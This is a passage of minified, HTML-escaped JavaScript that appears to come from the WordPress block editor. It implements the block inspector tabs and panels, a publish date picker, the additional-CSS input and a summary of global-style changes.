window.addEventListener(&quot;resize&quot;,t),()=&gt;{window.removeEventListener(&quot;resize&quot;,t)}}),[e]);const o=e=&gt;{let n;switch(e){case&quot;Tablet&quot;:n=780;break;case&quot;Mobile&quot;:n=360;break;default:return null}return n&lt;t?n:t};return(e=&gt;{const t=&quot;Mobile&quot;===e?&quot;768px&quot;:&quot;1024px&quot;,n=&quot;40px&quot;,r=&quot;auto&quot;;switch(e){case&quot;Tablet&quot;:case&quot;Mobile&quot;:return{width:o(e),marginTop:n,marginBottom:n,marginLeft:r,marginRight:r,height:t,overflowY:&quot;auto&quot;};default:return{marginLeft:r,marginRight:r}}})(e)}function pA({clientId:e}){const{updateBlockAttributes:t}=(0,g.useDispatch)(Ii),{attributes:n}=(0,g.useSelect)((t=&gt;({attributes:t(Ii).getBlockAttributes(e)})),[e]);return n?.metadata?.patternName?(0,d.jsx)(Ss.Button,{className:&quot;block-editor-block-inspector-edit-contents-button&quot;,__next40pxDefaultSize:!0,variant:&quot;secondary&quot;,onClick:()=&gt;{const{patternName:o,...r}=n?.metadata??{};t(e,{...n,metadata:r})},children:(0,T.__)(&quot;Edit contents&quot;)}):null}function hA(){const e=(0,g.useSelect)((e=&gt;e(Ii).getBlockSelectionStart()),[]),t=(0,h.useRef)();mh(e,t);return e?(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,variant:&quot;secondary&quot;,className:&quot;block-editor-skip-to-selected-block&quot;,onClick:()=&gt;{t.current?.focus()},children:(0,T.__)(&quot;Skip to the selected block&quot;)}):null}function gA(){const e=(0,g.useSelect)((e=&gt;e(Ii).getSelectedBlockCount()),[]);return(0,d.jsxs)(Ss.__experimentalHStack,{justify:&quot;flex-start&quot;,spacing:2,className:&quot;block-editor-multi-selection-inspector__card&quot;,children:[(0,d.jsx)(zu,{icon:Zj,showColors:!0}),(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-multi-selection-inspector__card-title&quot;,children:(0,T.sprintf)((0,T._n)(&quot;%d Block&quot;,&quot;%d Blocks&quot;,e),e)})]})}var mA=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{fillRule:&quot;evenodd&quot;,d:&quot;M10.289 4.836A1 1 0 0111.275 4h1.306a1 1 0 01.987.836l.244 1.466c.787.26 1.503.679 2.108 1.218l1.393-.522a1 1 0 011.216.437l.653 1.13a1 1 0 01-.23 1.273l-1.148.944a6.025 6.025 0 010 2.435l1.149.946a1 1 0 01.23 1.272l-.653 1.13a1 1 0 01-1.216.437l-1.394-.522c-.605.54-1.32.958-2.108 1.218l-.244 1.466a1 1 0 01-.987.836h-1.306a1 1 0 01-.986-.836l-.244-1.466a5.995 5.995 0 01-2.108-1.218l-1.394.522a1 1 0 01-1.217-.436l-.653-1.131a1 1 0 01.23-1.272l1.149-.946a6.026 6.026 0 010-2.435l-1.148-.944a1 1 0 01-.23-1.272l.653-1.131a1 1 0 011.217-.437l1.393.522a5.994 5.994 0 012.108-1.218l.244-1.466zM14.929 12a3 3 0 11-6 0 3 3 0 016 0z&quot;,clipRule:&quot;evenodd&quot;})}),fA=(0,d.jsx)(ce.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,d.jsx)(ce.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M20 12a8 8 0 1 1-16 0 8 8 0 0 1 16 0Zm-1.5 0a6.5 6.5 0 0 1-6.5 6.5v-13a6.5 6.5 0 0 1 6.5 6.5Z&quot;})});const bA={name:&quot;settings&quot;,title:(0,T.__)(&quot;Settings&quot;),value:&quot;settings&quot;,icon:mA},kA={name:&quot;styles&quot;,title:(0,T.__)(&quot;Styles&quot;),value:&quot;styles&quot;,icon:fA},vA={name:&quot;content&quot;,title:(0,T.__)(&quot;Content&quot;),value:&quot;content&quot;,icon:dc},_A={name:&quot;list&quot;,title:(0,T.__)(&quot;List View&quot;),value:&quot;list-view&quot;,icon:tM};var yA=()=&gt;{const e=(0,Ss.__experimentalUseSlotFills)(za.slotName),t=(0,Ss.__experimentalUseSlotFills)(Ma.name),n=Boolean(e&amp;&amp;e.length),o=Boolean(t&amp;&amp;t.length);return n||o?(0,d.jsxs)(Ss.PanelBody,{className:&quot;block-editor-block-inspector__advanced&quot;,title:(0,T.__)(&quot;Advanced&quot;),initialOpen:!1,children:[(0,d.jsx)(Va.Slot,{group:&quot;advanced&quot;}),(0,d.jsx)(Ma.Slot,{})]}):null};const xA=()=&gt;{const{selectedClientIds:e,selectedBlocks:t,hasPositionAttribute:n}=(0,g.useSelect)((e=&gt;{const{getBlocksByClientId:t,getSelectedBlockClientIds:n}=e(Ii),o=n(),r=t(o);return{selectedClientIds:o,selectedBlocks:r,hasPositionAttribute:r?.some((({attributes:e})=&gt;!!e?.style?.position?.type))}}),[]),{updateBlockAttributes:o}=(0,g.useDispatch)(Ii),r=Qi();function i(){if(!e?.length||!t?.length)return;const n=Object.fromEntries(t?.map((({clientId:e,attributes:t})=&gt;[e,{style:ms({...t?.style,position:{...t?.style?.position,type:void 0,top:void 0,right:void 0,bottom:void 0,left:void 0}})}])));o(e,n,!0)}return(0,d.jsx)(Ss.__experimentalToolsPanel,{className:&quot;block-editor-block-inspector__position&quot;,label:(0,T.__)(&quot;Position&quot;),resetAll:i,dropdownMenuProps:r,children:(0,d.jsx)(Ss.__experimentalToolsPanelItem,{isShownByDefault:n,label:(0,T.__)(&quot;Position&quot;),hasValue:()=&gt;n,onDeselect:i,children:(0,d.jsx)(Va.Slot,{group:&quot;position&quot;})})})};var SA=()=&gt;{const e=(0,Ss.__experimentalUseSlotFills)(Ta.position.name);return Boolean(e&amp;&amp;e.length)?(0,d.jsx)(xA,{}):null};var wA=({showAdvancedControls:e=!1})=&gt;(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(Va.Slot,{}),(0,d.jsx)(SA,{}),(0,d.jsx)(Va.Slot,{group:&quot;bindings&quot;}),e&amp;&amp;(0,d.jsx)(&quot;div&quot;,{children:(0,d.jsx)(yA,{})})]});var CA=({blockName:e,clientId:t,hasBlockStyles:n,isSectionBlock:o})=&gt;{const r=Rp({blockName:e});return(0,d.jsxs)(d.Fragment,{children:[n&amp;&amp;(0,d.jsx)(&quot;div&quot;,{children:(0,d.jsx)(Ss.PanelBody,{title:(0,T.__)(&quot;Styles&quot;),children:(0,d.jsx)(zM,{clientId:t})})}),!o&amp;&amp;(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(Va.Slot,{group:&quot;color&quot;,label:(0,T.__)(&quot;Color&quot;),className:&quot;color-block-support-panel__inner-wrapper&quot;}),(0,d.jsx)(Va.Slot,{group:&quot;background&quot;,label:(0,T.__)(&quot;Background image&quot;)}),(0,d.jsx)(Va.Slot,{group:&quot;filter&quot;}),(0,d.jsx)(Va.Slot,{group:&quot;typography&quot;,label:(0,T.__)(&quot;Typography&quot;)}),(0,d.jsx)(Va.Slot,{group:&quot;dimensions&quot;,label:(0,T.__)(&quot;Dimensions&quot;)}),(0,d.jsx)(Va.Slot,{group:&quot;border&quot;,label:r}),(0,d.jsx)(Va.Slot,{group:&quot;styles&quot;})]})]})};function BA({clientIds:e,onSelect:t}){return e.length?(0,d.jsx)(Ss.__experimentalVStack,{spacing:1,children:e.map((e=&gt;(0,d.jsx)(IA,{onSelect:t,clientId:e},e)))}):null}function IA({clientId:e,onSelect:t}){const n=Yf(e),o=xj({clientId:e,context:&quot;list-view&quot;}),{isSelected:r}=(0,g.useSelect)((t=&gt;{const{isBlockSelected:n,hasSelectedInnerBlock:o}=t(Ii);return{isSelected:n(e)||o(e,!0)}}),[e]),{selectBlock:i}=(0,g.useDispatch)(Ii);return(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,isPressed:r,onClick:async()=&gt;{await i(e),t&amp;&amp;t(e)},children:(0,d.jsxs)(Ss.Flex,{children:[(0,d.jsx)(Ss.FlexItem,{children:(0,d.jsx)(zu,{icon:n?.icon})}),(0,d.jsx)(Ss.FlexBlock,{style:{textAlign:&quot;left&quot;},children:(0,d.jsx)(Ss.__experimentalTruncate,{children:o})})]})})}var jA=({contentClientIds:e})=&gt;e&amp;&amp;0!==e.length?(0,d.jsx)(Ss.PanelBody,{title:(0,T.__)(&quot;Content&quot;),children:(0,d.jsx)(BA,{clientIds:e})}):null;const EA=[&quot;core/navigation&quot;];var TA=e=&gt;!EA.includes(e);const{Tabs:MA}=U(Ss.privateApis);function PA({blockName:e,clientId:t,hasBlockStyles:n,tabs:o,isSectionBlock:r,contentClientIds:i}){const s=(0,g.useSelect)((e=&gt;e(pr.store).get(&quot;core&quot;,&quot;showIconLabels&quot;)),[]),l=TA(e)?void 0:_A.name,[a,c]=(0,h.useState)(l??o[0]?.name);return(0,h.useEffect)((()=&gt;{if(!l&amp;&amp;o?.length&amp;&amp;a){o.find((e=&gt;e.name===a))||c(o[0].name)}}),[o,a,l]),(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-inspector__tabs&quot;,children:(0,d.jsxs)(MA,{defaultTabId:l,selectedTabId:a,onSelect:c,children:[(0,d.jsx)(MA.TabList,{children:o.map((e=&gt;s?(0,d.jsx)(MA.Tab,{tabId:e.name,children:e.title},e.name):(0,d.jsx)(Ss.Tooltip,{text:e.title,children:(0,d.jsx)(MA.Tab,{tabId:e.name,&quot;aria-label&quot;:e.title,children:(0,d.jsx)(Ss.Icon,{icon:e.icon})})},e.name)))}),(0,d.jsx)(MA.TabPanel,{tabId:bA.name,focusable:!1,children:(0,d.jsx)(wA,{showAdvancedControls:!!e})}),(0,d.jsx)(MA.TabPanel,{tabId:kA.name,focusable:!1,children:(0,d.jsx)(CA,{blockName:e,clientId:t,hasBlockStyles:n,isSectionBlock:r})}),(0,d.jsx)(MA.TabPanel,{tabId:vA.name,focusable:!1,children:(0,d.jsx)(jA,{contentClientIds:i})}),(0,d.jsx)(MA.TabPanel,{tabId:_A.name,focusable:!1,children:(0,d.jsx)(Va.Slot,{group:&quot;list&quot;})})]},t)})}const RA=[];function AA({clientId:e}){return(0,d.jsx)(Ss.PanelBody,{title:(0,T.__)(&quot;Styles&quot;),children:(0,d.jsx)(zM,{clientId:e})})}function NA({blockName:e,showAdvancedControls:t=!0,showPositionControls:n=!0,showListControls:o=!1,showBindingsControls:r=!0}){const i=Rp({blockName:e});return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(Va.Slot,{}),o&amp;&amp;(0,d.jsx)(Va.Slot,{group:&quot;list&quot;}),(0,d.jsx)(Va.Slot,{group:&quot;color&quot;,label:(0,T.__)(&quot;Color&quot;),className:&quot;color-block-support-panel__inner-wrapper&quot;}),(0,d.jsx)(Va.Slot,{group:&quot;background&quot;,label:(0,T.__)(&quot;Background image&quot;)}),(0,d.jsx)(Va.Slot,{group:&quot;typography&quot;,label:(0,T.__)(&quot;Typography&quot;)}),(0,d.jsx)(Va.Slot,{group:&quot;dimensions&quot;,label:(0,T.__)(&quot;Dimensions&quot;)}),(0,d.jsx)(Va.Slot,{group:&quot;border&quot;,label:i}),(0,d.jsx)(Va.Slot,{group:&quot;styles&quot;}),n&amp;&amp;(0,d.jsx)(SA,{}),r&amp;&amp;(0,d.jsx)(Va.Slot,{group:&quot;bindings&quot;}),t&amp;&amp;(0,d.jsx)(&quot;div&quot;,{children:(0,d.jsx)(yA,{})})]})}const LA=({animate:e,wrapper:t,children:n})=&gt;e?t(n):n,DA=({blockInspectorAnimationSettings:e,selectedBlockClientId:t,children:n})=&gt;{const o=e&amp;&amp;&quot;leftToRight&quot;===e.enterDirection?-50:50;return(0,d.jsx)(Ss.__unstableMotion.div,{animate:{x:0,opacity:1,transition:{ease:&quot;easeInOut&quot;,duration:.14}},initial:{x:o,opacity:0},children:n},t)},OA=({clientId:e,blockName:t,isSectionBlock:n,availableTabs:o,contentClientIds:r,hasBlockStyles:i})=&gt;{const s=o?.length&gt;1,l=Yf(e),a=l.isSynced,c=!a&amp;&amp;s;return(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-block-inspector&quot;,children:[(0,d.jsx)(Yb,{...l,className:a&amp;&amp;&quot;is-synced&quot;,allowParentNavigation:!0,children:window?.__experimentalContentOnlyPatternInsertion&amp;&amp;(0,d.jsx)(pA,{clientId:e})}),(0,d.jsx)(sP,{blockClientId:e}),c&amp;&amp;(0,d.jsx)(PA,{hasBlockStyles:i,clientId:e,blockName:t,tabs:o,isSectionBlock:n,contentClientIds:r}),!c&amp;&amp;(0,d.jsxs)(d.Fragment,{children:[i&amp;&amp;(0,d.jsx)(AA,{clientId:e}),(0,d.jsx)(jA,{contentClientIds:r}),!n&amp;&amp;(0,d.jsx)(NA,{blockName:t,showListControls:!0})]}),(0,d.jsx)(hA,{},&quot;back&quot;)]})};var zA=function(){const{selectedBlockCount:e,selectedBlockName:t,selectedBlockClientId:n,blockType:o,isSectionBlock:r,isSectionBlockInSelection:i,hasBlockStyles:s}=(0,g.useSelect)((e=&gt;{const{getSelectedBlockClientId:t,getSelectedBlockClientIds:n,getSelectedBlockCount:o,getBlockName:r,getParentSectionBlock:i,isSectionBlock:s}=U(e(Ii)),{getBlockStyles:l}=e(p.store),a=t(),c=i(a)||a,u=c&amp;&amp;r(c),d=u&amp;&amp;(0,p.getBlockType)(u),h=n().some((e=&gt;s(e))),g=u&amp;&amp;l(u),m=g&amp;&amp;g.length&gt;0;return{selectedBlockCount:o(),selectedBlockClientId:c,selectedBlockName:u,blockType:d,isSectionBlockInSelection:h,isSectionBlock:s(c),hasBlockStyles:m}}),[]),l=(0,g.useSelect)((e=&gt;{if(!r||!n)return[];const{getClientIdsOfDescendants:t,getBlockName:o,getBlockEditingMode:i}=U(e(Ii)),s=t(n),l=new Set;return s.forEach((e=&gt;{if(&quot;core/navigation&quot;===o(e)){t(e).forEach((e=&gt;l.add(e)))}})),s.filter((e=&gt;!l.has(e)&amp;&amp;(&quot;core/list-item&quot;!==o(e)&amp;&amp;&quot;contentOnly&quot;===i(e))))}),[r,n]),a=function(e,t,n,o){const r=[],{bindings:i,border:s,color:l,default:a,dimensions:c,list:u,position:d,styles:p,typography:h,effects:m}=Ta,f=TA(e),b=(0,Ss.__experimentalUseSlotFills)(u.name),k=!f&amp;&amp;!!b&amp;&amp;b.length,v=[...(0,Ss.__experimentalUseSlotFills)(s.name)||[],...(0,Ss.__experimentalUseSlotFills)(l.name)||[],...(0,Ss.__experimentalUseSlotFills)(c.name)||[],...(0,Ss.__experimentalUseSlotFills)(p.name)||[],...(0,Ss.__experimentalUseSlotFills)(h.name)||[],...(0,Ss.__experimentalUseSlotFills)(m.name)||[]].length,_=[...(0,Ss.__experimentalUseSlotFills)(za.slotName)||[],...(0,Ss.__experimentalUseSlotFills)(i.name)||[]],y=[...(0,Ss.__experimentalUseSlotFills)(a.name)||[],...(0,Ss.__experimentalUseSlotFills)(d.name)||[],...k&amp;&amp;v&gt;1?_:[]],x=!!(t&amp;&amp;t.length&gt;0);k&amp;&amp;!n&amp;&amp;r.push(_A),x&amp;&amp;r.push(vA),y.length&amp;&amp;!n&amp;&amp;r.push(bA),(n?o:v)&amp;&amp;r.push(kA);return function(e,t={}){return void 0!==t[e]?t[e]:void 0===t.default||t.default}(e,(0,g.useSelect)((e=&gt;e(Ii).getSettings().blockInspectorTabs),[]))?r:RA}(o?.name,l,r,s),c=a?.length&gt;1,u=function(e){return(0,g.useSelect)((t=&gt;{if(e){const n=t(Ii).getSettings().blockInspectorAnimation,o=n?.animationParent,{getSelectedBlockClientId:r,getBlockParentsByBlockName:i}=t(Ii);return i(r(),o,!0)[0]||e.name===o?n?.[e.name]:null}return null}),[e])}(o),h=e&gt;1;if(h&amp;&amp;!i)return(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-block-inspector&quot;,children:[(0,d.jsx)(gA,{}),c?(0,d.jsx)(PA,{tabs:a}):(0,d.jsx)(NA,{blockName:t,showAdvancedControls:!1,showPositionControls:!1,showBindingsControls:!1})]});if(h&amp;&amp;i)return(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-inspector&quot;,children:(0,d.jsx)(gA,{})});const m=t===(0,p.getUnregisteredTypeHandlerName)();return!o||!n||m?(0,d.jsx)(&quot;span&quot;,{className:&quot;block-editor-block-inspector__no-blocks&quot;,children:(0,T.__)(&quot;No block selected.&quot;)}):(0,d.jsx)(LA,{animate:u,wrapper:e=&gt;(0,d.jsx)(DA,{blockInspectorAnimationSettings:u,selectedBlockClientId:n,children:e}),children:(0,d.jsx)(OA,{clientId:n,blockName:o.name,isSectionBlock:r,availableTabs:a,contentClientIds:l,hasBlockStyles:s})})};const VA=()=&gt;(I()(&quot;__unstableUseClipboardHandler&quot;,{alternative:&quot;BlockCanvas or WritingFlow&quot;,since:&quot;6.4&quot;,version:&quot;6.7&quot;}),Mw());function FA(e){return I()(&quot;CopyHandler&quot;,{alternative:&quot;BlockCanvas or WritingFlow&quot;,since:&quot;6.4&quot;,version:&quot;6.7&quot;}),(0,d.jsx)(&quot;div&quot;,{...e,ref:Mw()})}const HA=()=&gt;{};const UA=(0,h.forwardRef)((function({rootClientId:e,clientId:t,isAppender:n,showInserterHelpPanel:o,showMostUsedBlocks:r=!1,__experimentalInsertionIndex:i,__experimentalInitialTab:s,__experimentalInitialCategory:l,__experimentalFilterValue:a,onPatternCategorySelection:c,onSelect:u=HA,shouldFocusBlock:p=!1,onClose:h},m){const{destinationRootClientId:f}=(0,g.useSelect)((n=&gt;{const{getBlockRootClientId:o}=n(Ii);return{destinationRootClientId:e||o(t)||void 0}}),[t,e]);return(0,d.jsx)(tI,{onSelect:u,rootClientId:f,clientId:t,isAppender:n,showInserterHelpPanel:o,showMostUsedBlocks:r,__experimentalInsertionIndex:i,__experimentalFilterValue:a,onPatternCategorySelection:c,__experimentalInitialTab:s,__experimentalInitialCategory:l,shouldFocusBlock:p,ref:m,onClose:h})}));var GA=(0,h.forwardRef)((function(e,t){return(0,d.jsx)(UA,{...e,onPatternCategorySelection:void 0,ref:t})}));function $A(){return I()(&quot;wp.blockEditor.MultiSelectScrollIntoView&quot;,{hint:&quot;This behaviour is now built-in.&quot;,since:&quot;5.8&quot;}),null}const WA=-1!==window.navigator.userAgent.indexOf(&quot;Trident&quot;),KA=new Set([$a.UP,$a.DOWN,$a.LEFT,$a.RIGHT]),ZA=.75;function qA(){const e=(0,g.useSelect)((e=&gt;e(Ii).hasSelectedBlock()),[]);return(0,m.useRefEffect)((t=&gt;{if(!e)return;const{ownerDocument:n}=t,{defaultView:o}=n;let r,i,s;function l(){r||(r=o.requestAnimationFrame((()=&gt;{p(),r=null})))}function a(e){i&amp;&amp;o.cancelAnimationFrame(i),i=o.requestAnimationFrame((()=&gt;{c(e),i=null}))}function c({keyCode:e}){if(!h())return;const r=(0,Ua.computeCaretRect)(o);if(!r)return;if(!s)return void(s=r);if(KA.has(e))return void(s=r);const i=r.top-s.top;if(0===i)return;const l=(0,Ua.getScrollContainer)(t);if(!l)return;const a=l===n.body||l===n.documentElement,c=a?o.scrollY:l.scrollTop,u=a?0:l.getBoundingClientRect().top,d=a?s.top/o.innerHeight:(s.top-u)/(o.innerHeight-u);if(0===c&amp;&amp;d&lt;ZA&amp;&amp;function(){const e=t.querySelectorAll(&#039;[contenteditable=&quot;true&quot;]&#039;);return e[e.length-1]===n.activeElement}())return void(s=r);const p=a?o.innerHeight:l.clientHeight;s.top+s.height&gt;u+p||s.top&lt;u?s=r:a?o.scrollBy(0,i):l.scrollTop+=i}function u(){n.addEventListener(&quot;selectionchange&quot;,d)}function d(){n.removeEventListener(&quot;selectionchange&quot;,d),p()}function p(){h()&amp;&amp;(s=(0,Ua.computeCaretRect)(o))}function h(){return t.contains(n.activeElement)&amp;&amp;n.activeElement.isContentEditable}return o.addEventListener(&quot;scroll&quot;,l,!0),o.addEventListener(&quot;resize&quot;,l,!0),t.addEventListener(&quot;keydown&quot;,a),t.addEventListener(&quot;keyup&quot;,c),t.addEventListener(&quot;mousedown&quot;,u),t.addEventListener(&quot;touchstart&quot;,u),()=&gt;{o.removeEventListener(&quot;scroll&quot;,l,!0),o.removeEventListener(&quot;resize&quot;,l,!0),t.removeEventListener(&quot;keydown&quot;,a),t.removeEventListener(&quot;keyup&quot;,c),t.removeEventListener(&quot;mousedown&quot;,u),t.removeEventListener(&quot;touchstart&quot;,u),n.removeEventListener(&quot;selectionchange&quot;,d),o.cancelAnimationFrame(r),o.cancelAnimationFrame(i)}}),[e])}var YA=WA?e=&gt;e.children:function({children:e}){return(0,d.jsx)(&quot;div&quot;,{ref:qA(),className:&quot;block-editor__typewriter&quot;,children:e})};const XA=(0,h.createContext)({});function QA({children:e,uniqueId:t,blockName:n=&quot;&quot;}){const o=(0,h.useContext)(XA),{name:r}=C();n=n||r;const i=(0,h.useMemo)((()=&gt;function(e,t,n){const o={...e,[t]:e[t]?new Set(e[t]):new Set};return o[t].add(n),o}(o,n,t)),[o,n,t]);return(0,d.jsx)(XA.Provider,{value:i,children:e})}function JA(e,t=&quot;&quot;){const n=(0,h.useContext)(XA),{name:o}=C();return t=t||o,Boolean(n[t]?.has(e))}XA.displayName=&quot;RenderedRefsContext&quot;;const eN=e=&gt;(I()(&quot;wp.blockEditor.__experimentalRecursionProvider&quot;,{since:&quot;6.5&quot;,alternative:&quot;wp.blockEditor.RecursionProvider&quot;}),(0,d.jsx)(QA,{...e})),tN=(...e)=&gt;(I()(&quot;wp.blockEditor.__experimentalUseHasRecursion&quot;,{since:&quot;6.5&quot;,alternative:&quot;wp.blockEditor.useHasRecursion&quot;}),JA(...e));function nN({title:e,help:t,actions:n=[],onClose:o}){return(0,d.jsxs)(Ss.__experimentalVStack,{className:&quot;block-editor-inspector-popover-header&quot;,spacing:4,children:[(0,d.jsxs)(Ss.__experimentalHStack,{alignment:&quot;center&quot;,children:[(0,d.jsx)(Ss.__experimentalHeading,{className:&quot;block-editor-inspector-popover-header__heading&quot;,level:2,size:13,children:e}),(0,d.jsx)(Ss.__experimentalSpacer,{}),n.map((({label:e,icon:t,onClick:n})=&gt;(0,d.jsx)(Ss.Button,{size:&quot;small&quot;,className:&quot;block-editor-inspector-popover-header__action&quot;,label:e,icon:t,variant:!t&amp;&amp;&quot;tertiary&quot;,onClick:n,children:!t&amp;&amp;e},e))),o&amp;&amp;(0,d.jsx)(Ss.Button,{size:&quot;small&quot;,className:&quot;block-editor-inspector-popover-header__action&quot;,label:(0,T.__)(&quot;Close&quot;),icon:YB,onClick:o})]}),t&amp;&amp;(0,d.jsx)(Ss.__experimentalText,{children:t})]})}const oN=(0,h.forwardRef)((function({onClose:e,onChange:t,showPopoverHeaderActions:n,isCompact:o,currentDate:r,title:i,...s},l){const a={startOfWeek:(0,uP.getSettings)().l10n.startOfWeek,onChange:t,currentDate:o?void 0:r,currentTime:o?r:void 0,...s},c=o?Ss.TimePicker:Ss.DateTimePicker;return(0,d.jsxs)(&quot;div&quot;,{ref:l,className:&quot;block-editor-publish-date-time-picker&quot;,children:[(0,d.jsx)(nN,{title:i||(0,T.__)(&quot;Publish&quot;),actions:n?[{label:(0,T.__)(&quot;Now&quot;),onClick:()=&gt;t?.(null)}]:void 0,onClose:e}),(0,d.jsx)(c,{...a})]})}));var rN=(0,h.forwardRef)((function(e,t){return(0,d.jsx)(oN,{...e,showPopoverHeaderActions:!0,isCompact:!1,ref:t})}));var iN=(0,h.forwardRef)((function(){return I()(&quot;wp.blockEditor.ToolSelector&quot;,{since:&quot;6.9&quot;,hint:&quot;The ToolSelector component no longer renders anything.&quot;}),null}));const sN={button:&quot;wp-element-button&quot;,caption:&quot;wp-element-caption&quot;},lN=e=&gt;sN[e]?sN[e]:&quot;&quot;;var aN=()=&gt;&quot;&quot;;function cN(e,t,n){return&quot;core/image&quot;===e&amp;&amp;n?.lightbox?.allowEditing||!!t?.lightbox}function uN({onChange:e,value:t,inheritedValue:n,panelId:o}){const r=Qi(),i=()=&gt;{e(void 0)};let s=!1;return n?.lightbox?.enabled&amp;&amp;(s=n.lightbox.enabled),(0,d.jsx)(d.Fragment,{children:(0,d.jsx)(Ss.__experimentalToolsPanel,{label:(0,T._x)(&quot;Settings&quot;,&quot;Image settings&quot;),resetAll:i,panelId:o,dropdownMenuProps:r,children:(0,d.jsx)(Ss.__experimentalToolsPanelItem,{hasValue:()=&gt;!!t?.lightbox,label:(0,T.__)(&quot;Enlarge on click&quot;),onDeselect:i,isShownByDefault:!0,panelId:o,children:(0,d.jsx)(Ss.ToggleControl,{__nextHasNoMarginBottom:!0,label:(0,T.__)(&quot;Enlarge on click&quot;),checked:s,onChange:t=&gt;{e({enabled:t})}})})})})}function dN({value:e,onChange:t,inheritedValue:n=e}){const[o,r]=(0,h.useState)(null),i=n?.css;return(0,d.jsxs)(Ss.__experimentalVStack,{spacing:3,children:[o&amp;&amp;(0,d.jsx)(Ss.Notice,{status:&quot;error&quot;,onRemove:()=&gt;r(null),children:o}),(0,d.jsx)(Ss.TextareaControl,{label:(0,T.__)(&quot;Additional CSS&quot;),__nextHasNoMarginBottom:!0,value:i,onChange:n=&gt;function(n){if(t({...e,css:n}),o){const[e]=sC([{css:n}],&quot;.for-validation-only&quot;);e&amp;&amp;r(null)}}(n),onBlur:function(e){if(!e?.target?.value)return void r(null);const[t]=sC([{css:e.target.value}],&quot;.for-validation-only&quot;);r(null===t?(0,T.__)(&quot;There is an error with your CSS structure.&quot;):null)},className:&quot;block-editor-global-styles-advanced-panel__custom-css-input&quot;,spellCheck:!1})]})}const pN=new Map,hN=[],gN={caption:(0,T.__)(&quot;Caption&quot;),link:(0,T.__)(&quot;Link&quot;),button:(0,T.__)(&quot;Button&quot;),heading:(0,T.__)(&quot;Heading&quot;),h1:(0,T.__)(&quot;H1&quot;),h2:(0,T.__)(&quot;H2&quot;),h3:(0,T.__)(&quot;H3&quot;),h4:(0,T.__)(&quot;H4&quot;),h5:(0,T.__)(&quot;H5&quot;),h6:(0,T.__)(&quot;H6&quot;),&quot;settings.color&quot;:(0,T.__)(&quot;Color&quot;),&quot;settings.typography&quot;:(0,T.__)(&quot;Typography&quot;),&quot;settings.shadow&quot;:(0,T.__)(&quot;Shadow&quot;),&quot;settings.layout&quot;:(0,T.__)(&quot;Layout&quot;),&quot;styles.color&quot;:(0,T.__)(&quot;Colors&quot;),&quot;styles.spacing&quot;:(0,T.__)(&quot;Spacing&quot;),&quot;styles.background&quot;:(0,T.__)(&quot;Background&quot;),&quot;styles.typography&quot;:(0,T.__)(&quot;Typography&quot;)},mN=function(e,t){var n,o,r=0;function i(){var i,s,l=n,a=arguments.length;e:for(;l;){if(l.args.length===arguments.length){for(s=0;s&lt;a;s++)if(l.args[s]!==arguments[s]){l=l.next;continue e}return l!==n&amp;&amp;(l===o&amp;&amp;(o=l.prev),l.prev.next=l.next,l.next&amp;&amp;(l.next.prev=l.prev),l.next=n,l.prev=null,n.prev=l,n=l),l.val}l=l.next}for(i=new Array(a),s=0;s&lt;a;s++)i[s]=arguments[s];return l={args:i,val:e.apply(null,i)},n?(n.prev=l,l.next=n):o=l,r===t.maxSize?(o=o.prev).next=null:r++,n=l,l.val}return t=t||{},i.clear=function(){n=null,o=null,r=0},i}((()=&gt;(0,p.getBlockTypes)().reduce(((e,{name:t,title:n})=&gt;(e[t]=n,e)),{}))),fN=e=&gt;null!==e&amp;&amp;&quot;object&quot;==typeof e;function bN(e,t,n=&quot;&quot;){if(!fN(e)&amp;&amp;!fN(t))return e!==t?n.split(&quot;.&quot;).slice(0,2).join(&quot;.&quot;):void 0;e=fN(e)?e:{},t=fN(t)?t:{};const o=new Set([...Object.keys(e),...Object.keys(t)]);let r=[];for(const i of o){const o=n?n+&quot;.&quot;+i:i,s=bN(e[i],t[i],o);s&amp;&amp;(r=r.concat(s))}return r}function kN(e,t){const n=JSON.stringify({next:e,previous:t});if(pN.has(n))return pN.get(n);const o=bN({styles:{background:e?.styles?.background,color:e?.styles?.color,typography:e?.styles?.typography,spacing:e?.styles?.spacing},blocks:e?.styles?.blocks,elements:e?.styles?.elements,settings:e?.settings},{styles:{background:t?.styles?.background,color:t?.styles?.color,typography:t?.styles?.typography,spacing:t?.styles?.spacing},blocks:t?.styles?.blocks,elements:t?.styles?.elements,settings:t?.settings});if(!o.length)return pN.set(n,hN),hN;const r=[...new Set(o)].reduce(((e,t)=&gt;{const n=function(e){if(gN[e])return gN[e];const t=e.split(&quot;.&quot;);if(&quot;blocks&quot;===t?.[0]){const e=mN()?.[t[1]];return e||t[1]}return&quot;elements&quot;===t?.[0]?gN[t[1]]||t[1]:void 0}(t);return n&amp;&amp;e.push([t.split(&quot;.&quot;)[0],n]),e}),[]);return pN.set(n,r),r}function vN(e,t,n={}){let o=kN(e,t);const r=o.length,{maxResults:i}=n;return r?(i&amp;&amp;r&gt;i&amp;&amp;(o=o.slice(0,i)),Object.entries(o.reduce(((e,t)=&gt;{const n=e[t[0]]||[];return n.includes(t[1])||(e[t[0]]=[...n,t[1]]),e}),{})).map((([e,t])=&gt;{const n=t.length,o=t.join((0,T.__)(&quot;, &quot;));switch(e){case&quot;blocks&quot;:return(0,T.sprintf)((0,T._n)(&quot;%s block.&quot;,&quot;%s blocks.&quot;,n),o);case&quot;elements&quot;:return(0,T.sprintf)((0,T._n)(&quot;%s element.&quot;,&quot;%s elements.&quot;,n),o);case&quot;settings&quot;:return(0,T.sprintf)((0,T.__)(&quot;%s settings.&quot;),o);case&quot;styles&quot;:return(0,T.sprintf)((0,T.__)(&quot;%s styles.&quot;),o);default:return(0,T.sprintf)((0,T.__)(&quot;%s.&quot;),o)}}))):hN}function 